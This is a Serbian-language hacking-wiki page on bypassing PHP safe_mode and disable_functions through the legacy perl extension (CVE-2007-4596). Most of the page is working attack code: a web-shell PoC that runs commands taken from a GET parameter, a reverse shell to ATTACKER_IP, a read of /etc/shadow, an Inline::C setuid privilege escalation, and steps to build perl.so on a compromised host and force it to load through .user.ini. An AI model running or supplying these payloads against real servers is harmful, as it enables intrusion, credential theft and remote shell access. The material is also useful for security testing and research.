PHP Perl Extension Safe_mode Bypass Exploit

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Pozadina

Problem praćen kao CVE-2007-4596 potiče iz legacy perl PHP ekstenzije, koja ugrađuje kompletan Perl interpreter bez poštovanja PHP-ovih safe_mode, disable_functions ili open_basedir kontrola. Bilo koji PHP worker koji učita extension=perl.so dobija neograničen Perl eval, tako da je izvršavanje komandi trivijalno čak i kada su svi klasični PHP mehanizmi za pokretanje procesa blokirani. Iako je safe_mode nestao u PHP 5.4, mnogi zastareli deljeni hosting stackovi i ranjivi labovi ga i dalje isporučuju, pa je ovaj bypass i dalje koristan kada dospete na legacy control panele.

Kompatibilnost i status pakovanja (2025)

  • Poslednje PECL izdanje (perl-1.0.1, 2013) cilja PHP ≥5.0; PHP 8+ generalno ne uspeva jer su se Zend APIs promenili.
  • PECL zamenjuje PIE, ali stariji stackovi i dalje isporučuju PECL/pear. Koristite tok ispod na PHP 5/7 ciljevima; na novijim PHP-ima očekujte da ćete morati uraditi downgrade ili preći na drugi injection path (npr. userland FFI).

Kreiranje testabilnog okruženja u 2025

  • Preuzmite perl-1.0.1 sa PECL-a, kompajlirajte ga za PHP granu koju planirate da napadnete i učitajte ga globalno (php.ini) ili preko dl() (ako je dozvoljeno).
  • Brzi primer za Debian-based lab:
sudo apt install php5.6 php5.6-dev php-pear build-essential
sudo pecl install perl-1.0.1
echo "extension=perl.so" | sudo tee /etc/php/5.6/mods-available/perl.ini
sudo phpenmod perl && sudo systemctl restart apache2
  • Tokom eksploatacije potvrdite dostupnost sa var_dump(extension_loaded('perl')); ili print_r(get_loaded_extensions());. Ako nije prisutan, potražite perl.so ili iskoristite zapisljive php.ini/.user.ini unose da ga primorate da se učita.
  • Pošto interpreter živi unutar PHP workera, nijedni eksterni binarni fajlovi nisu potrebni — network egress filteri ili proc_open crne liste nisu bitni.

Lokalni lanac izgradnje kada je phpize dostupan

Ako su phpize i build-essential prisutni na kompromitovanom hostu, možete kompajlirati i postaviti perl.so bez potrebe za izvršavanjem spoljnog shell-a na OS-u:

# grab the tarball from PECL
wget https://pecl.php.net/get/perl-1.0.1.tgz
tar xvf perl-1.0.1.tgz && cd perl-1.0.1
phpize
./configure --with-perl=/usr/bin/perl --with-php-config=$(php -r 'echo PHP_BINARY;')-config
make -j$(nproc)
cp modules/perl.so /tmp/perl.so
# then load with a .user.ini in the webroot if main php.ini is read-only
echo "extension=/tmp/perl.so" > /var/www/html/.user.ini

Ako je open_basedir primenjen, osigurajte da ubačeni .user.ini i .so budu smešteni u dozvoljenom putu; direktiva extension= se i dalje poštuje unutar basedir-a. Proces kompajliranja prati PHP manual za izgradnju PECL extensions.

Originalni PoC (NetJackal)

Sa http://blog.safebuff.com/2016/05/06/disable-functions-bypass/, i dalje korisno za potvrdu da ekstenzija odgovara na eval:

<?php
if(!extension_loaded('perl'))die('perl extension is not loaded');
if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
$perl=new perl();
echo "<textarea rows='25' cols='75'>";
$perl->eval("system('".$_GET['cmd']."')");
echo "&lt;/textarea&gt;";
$_GET['cmd']=htmlspecialchars($_GET['cmd']);
echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>";
?>

Savremena poboljšanja payload-a

1. Potpuni TTY preko TCP

Ugrađeni interpreter može učitati IO::Socket čak i ako je /usr/bin/perl blokiran:

$perl = new perl();
$payload = <<<'PL'
use IO::Socket::INET;
my $c = IO::Socket::INET->new(PeerHost=>'ATTACKER_IP',PeerPort=>4444,Proto=>'tcp');
open STDIN,  '<&', $c;
open STDOUT, '>&', $c;
open STDERR, '>&', $c;
exec('/bin/sh -i');
PL;
$perl->eval($payload);

2. File-System Escape čak i sa open_basedir

Perl ignoriše PHP’s open_basedir, tako da možete pročitati proizvoljne fajlove:

$perl = new perl();
$perl->eval('open(F,"/etc/shadow") || die $!; print while <F>; close F;');

Usmeri izlaz kroz IO::Socket::INET ili Net::HTTP da exfiltrate podatke bez diranja PHP-managed descriptors.

3. Inline Compilation for Privilege Escalation

Ako Inline::C postoji na nivou sistema, kompajlirajte pomoćne module unutar zahteva bez oslanjanja na PHP’s ffi ili pcntl:

$perl = new perl();
$perl->eval(<<<'PL'
use Inline C => 'DATA';
print escalate();
__DATA__
__C__
char* escalate(){ setuid(0); system("/bin/bash -c 'id; cat /root/flag'"); return ""; }
PL
);

4. Living-off-the-Land Enumeration

Posmatraj Perl kao LOLBAS toolkit—npr. izvuci MySQL DSN-ove čak i ako mysqli nije dostupan:

$perl = new perl();
$perl->eval('use DBI; @dbs = DBI->data_sources("mysql"); print join("\n", @dbs);');

Izvori

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks